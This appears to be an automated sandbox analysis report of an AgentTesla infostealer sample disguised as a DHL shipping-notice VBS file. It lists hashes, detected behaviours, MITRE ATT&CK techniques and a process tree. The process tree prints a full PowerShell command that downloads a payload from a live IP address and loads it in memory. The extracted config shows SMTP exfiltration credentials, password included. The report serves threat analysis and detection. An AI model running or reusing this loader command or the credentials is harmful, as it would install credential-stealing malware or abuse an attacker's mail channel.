agenttesla | 07cd45dbe94b262e5e4e3e750aefd021e49faf521d2c770b2c5d344222db2505

General

Target

nueva notificación de envío de DHL.vbs
Size

209KB
MD5

88576ebcf941888f81b86e9289be3e61
SHA1

05798a254c5a901f07def753fd465ae0234deca7
SHA256

07cd45dbe94b262e5e4e3e750aefd021e49faf521d2c770b2c5d344222db2505
SHA512

3935272b73be55ae31689514e8b77e90c1b618445259a55c9e3dd497a0bbf7100ac1492eeba60faf62b6d84a08bf364fa864dd357f0cb920c0502a66577ade0b
SSDEEP

3072:eXFJliLfuE8ozlADw8auustFmbicHyAwOt4MYI2x75nehsqgB3F23st+Zn3F/Mvu:sliLfudcHyU

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/DLL/NoStartUp.ppam

Extracted

Credentials

Protocol: smtp
Host:
microempaquescali.com
Port:
587
Username:
[email protected]
Password:
icui4cu2@@

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
microempaquescali.com
Port:
587
Username:
[email protected]
Password:
icui4cu2@@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1204 powershell.exe
6 1204 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
5	1204	powershell.exe
6	1204	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1204 set thread context of 3632 1204 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeRegAsm.exe

pid process

1204 powershell.exe
1204 powershell.exe
3632 RegAsm.exe
3632 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 1204 powershell.exe
Token: SeDebugPrivilege 3632 RegAsm.exe

description	pid	process	target process
PID 1204 set thread context of 3632	1204	powershell.exe	RegAsm.exe

pid	process
1204	powershell.exe
1204	powershell.exe
3632	RegAsm.exe
3632	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	3632	RegAsm.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2808 wrote to memory of 1204	2808	WScript.exe	powershell.exe
PID 2808 wrote to memory of 1204	2808	WScript.exe	powershell.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe
PID 1204 wrote to memory of 3632	1204	powershell.exe	RegAsm.exe

outlook_office_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nueva notificación de envío de DHL.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/DLL/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.skzjbcbgghzjgj/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3632

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

memory/1204-132-0x0000000000000000-mapping.dmp

Download
memory/1204-133-0x0000024A1C510000-0x0000024A1C532000-memory.dmp

Filesize
136KB

Download
memory/1204-134-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/1204-137-0x00007FFE943A0000-0x00007FFE94E61000-memory.dmp

Filesize
10.8MB

Download
memory/3632-135-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/3632-136-0x000000000043568E-mapping.dmp

Download
memory/3632-138-0x0000000005C90000-0x0000000006234000-memory.dmp

Filesize
5.6MB

Download
memory/3632-139-0x0000000005880000-0x000000000591C000-memory.dmp

Filesize
624KB

Download
memory/3632-140-0x0000000006530000-0x0000000006596000-memory.dmp

Filesize
408KB

Download
memory/3632-141-0x0000000006C40000-0x0000000006C90000-memory.dmp

Filesize
320KB

Download
memory/3632-142-0x0000000006E30000-0x0000000006EC2000-memory.dmp

Filesize
584KB

Download
memory/3632-143-0x0000000006DA0000-0x0000000006DAA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads